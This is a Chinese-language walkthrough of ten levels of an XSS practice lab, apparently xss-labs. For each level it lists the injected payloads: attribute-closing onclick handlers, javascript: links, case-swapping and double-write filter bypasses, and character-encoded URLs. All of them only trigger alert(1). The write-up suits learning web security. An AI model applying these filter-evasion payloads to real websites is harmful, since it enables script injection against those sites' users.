Level1:
![](https://i-blog.csdnimg.cn/direct/89c8cbef160d4cabadbfc66322440a18.png)
检查页面源代码:
![](https://i-blog.csdnimg.cn/direct/9d69310ae18647b19615589f2ee284e2.png)
function函数:
javascript
(function(){
try{
let tn = '';
if(tn.includes('oem')){
Object.defineProperty(document, 'referrer', {
get: function(){
return '';
}
});
}else if(tn.includes('hao_pg')){
if(!document.referrer.match('tn=')){
Object.defineProperty(document, 'referrer', {
get: function(){
return 'https://www.hao123.com?tn=' + tn;
},
configurable: false,
});
}
}
}catch(e){
}
})();
分析:else if条件为false 假,反推if条件为真。
if(tn.includes('oem'))
检查变量tn
是否包含字符串'oem'
。由于在这个例子中tn
是空字符串,这个条件永远不会为真。
如果tn
是从外部源获取的值,则执行接下来的代码块。
使用用Object.defineProperty
方法修改document
对象的referrer
属性的行为,get function(),跳到下一题,返回confirm("完成的不错!");
总结:插入恶意脚本<script>alert(1)</script>就行没什么特殊的。
![](https://i-blog.csdnimg.cn/direct/d1899c687a29471cbb4d7417c0aa2867.png)
Level2:
检查页面源代码:
![](https://i-blog.csdnimg.cn/direct/097d938c5f0f4b9cb872a624a6d50b81.png)
分析:先插入恶意脚本发现与文本杂合,没有输出,所以我们要将恶意脚本闭合。
![](https://i-blog.csdnimg.cn/direct/2438edfa183047e284a2df3b0d0b700f.png)
Level3:
输入框输入<script>alert(1)</script>,"><script>alert(1)</script><"无回显。
推断:script标签不中用
换回显脚本为:οnclick="alert(1)"
检查页面源代码:
![](https://i-blog.csdnimg.cn/direct/b3c554e29926494db2d4d86127eae0f6.png)
value="οnclick="alert(1)""说明插入的脚本正确,需要修改一下闭合方式'οnclick='alert(1)
再点击输入框。
![](https://i-blog.csdnimg.cn/direct/acff9a9a27694163b89fbcb3c6be5ee1.png)
Level4:
与 Level3:回显相同,输入'οnclick='alert(1) 仍然无回显。
检查页面源代码:value=" 'οnclick='alert(1) " ->闭合方式错误
![](https://i-blog.csdnimg.cn/direct/c468de13394b455ea5888e1c9b745fe6.png)
输入"οnclick="alert(1),再点击输入框。
![](https://i-blog.csdnimg.cn/direct/2abc9c84053a44ec9625db130bdc8404.png)
Level5:
输入'οnclick='alert(1),自动在插入的恶意代码中插入_,成为'o_nclick='alert(1)
![](https://i-blog.csdnimg.cn/direct/234b0313dcf24b14be36ac670d696c5a.png)
重新构造恶意代码"><a href=javascript:alert(1)>a</a>
解释:
<a>
标签:HTML中用于定义超链接的元素。
a href=javascript:alert(1)即标签的href
属性即被设置为javascript:alert(1)。
>a<
:这是<a>
标签的开始和结束标签之间的内容,即链接的可见文本是"a",即点击a浏览器会执行javascript脚本,弹出弹窗1。
![](https://i-blog.csdnimg.cn/direct/5ad4cb66683341beb5395369b432c134.png)
Level6:
输入'οnclick='alert(1),自动在插入的恶意代码中插入_,成为'o_nclick='alert(1)
输入"><a href=javascript:alert(1)>a</a>,成为<a hr_ef=javascript:alert(1)>a</a>
![](https://i-blog.csdnimg.cn/direct/0eab4995e4a84f6c8ce808d37b6afb76.png)
重新构造恶意脚本......感觉没知识储备了。
试试绕过怎么样:
'oNclick='alert(1) ->闭合方式错误。
"oNclick="alert(1)
![](https://i-blog.csdnimg.cn/direct/5412b745aed443348902ee4e5143fa0a.png)
"><a href=javascript:alert(1)>a</a> 同理
Level7:
输入'oNclick='alert(1) ->on被删除了
![](https://i-blog.csdnimg.cn/direct/454913d0cb264e219f64db59075d4f9c.png)
试试双写绕过:'ooNnclick='alert(1)
![](https://i-blog.csdnimg.cn/direct/2675237da4724a6b83dc3450c5fccfc3.png)
绕过成功,只是闭合方式还有些问题,换一下就ok。
![](https://i-blog.csdnimg.cn/direct/57a6ad987775449e8dd619ddcbd4217d.png)
Level 8:
输入'oNclick='alert(1) ->on被删除了
试试双写绕过:'ooNnclick='alert(1) ->不行,但我们注意到输入的恶意脚本都被转化_。
![](https://i-blog.csdnimg.cn/direct/52548178a433495daa8bfcbe3b264e2b.png)
尝试javascript
伪协议执行代码HTML中的数字字符引用来表示ASCII字符
https://www.matools.com/code-convert-unicode
![](https://i-blog.csdnimg.cn/direct/2f074b32669442eb80e601d36359f8ac.png)
javascript:alert(1) ->
javascript:alert()
![](https://i-blog.csdnimg.cn/direct/82f4743683d74720aff1b8e185077dcc.png)
点击有情链接:
![](https://i-blog.csdnimg.cn/direct/eeff995570da432698d51e280560a861.png)
Level 9:
与 Level 8类似,输入ASCII字符,但是并没有转义
http:// 并用注释符注释->进行转义
![](https://i-blog.csdnimg.cn/direct/a449017b4015413896d9f0ebf24c8b77.png)
javascript:alert()/* http:// */
![](https://i-blog.csdnimg.cn/direct/1b69289a5e0b4123b41354304ea3c93d.png)
Level 10:
没有登录框,页面源代码也没什么东西,无法构造url
![](https://i-blog.csdnimg.cn/direct/292040bcbaae4dc2b08e6bd8fc7092f2.png)
只能作弊,查看php源代码试试?
![](https://i-blog.csdnimg.cn/direct/55d4067930cf4416b3d04c02ec1e0f0f.jpeg)
?t_sort=" οnclick=javascript:alert() type="button
![](https://i-blog.csdnimg.cn/direct/bd6020f88ad449778e5f7730d4de22b8.png)
点击按扭(透明长方形框)